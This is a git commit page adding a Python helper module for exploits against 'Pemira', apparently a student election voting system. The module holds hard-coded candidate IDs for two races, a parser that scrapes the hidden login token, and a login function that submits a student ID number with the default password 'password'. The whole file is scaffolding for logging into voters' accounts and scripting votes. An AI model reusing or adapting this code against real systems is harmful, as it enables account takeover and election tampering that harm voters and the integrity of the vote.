Browse Source

added helper file so it can be used for all exploit

master
myitinos 2 years ago
parent
commit
bb0b341fe2
1 changed files with 30 additions and 0 deletions
  1. +30
    -0
      PemiraHelper.py

+ 30
- 0
PemiraHelper.py View File

@ -0,0 +1,30 @@
import requests
from HTMLParser import HTMLParser
ID_BALMA = [
'5rZy46Pm',
'BVmJxh6E'
]
ID_SEMA = [
'JLamqe5q',
'jP5sqhCQ',
'W8jdVp4J'
]
class PemiraParser(HTMLParser):
TOKEN = ''
def handle_starttag(self, tag, attrs):
if tag == 'input':
if attrs[1][1] == 'token_':
self.TOKEN = attrs[2][1]
def login(conn, host, nim):
var = conn.post("http://%s/authenticate.php" % host, data={
"nim": nim,
"pass": "password",
"formSubmit": "Login"})
return var

Loading…
Cancel
Save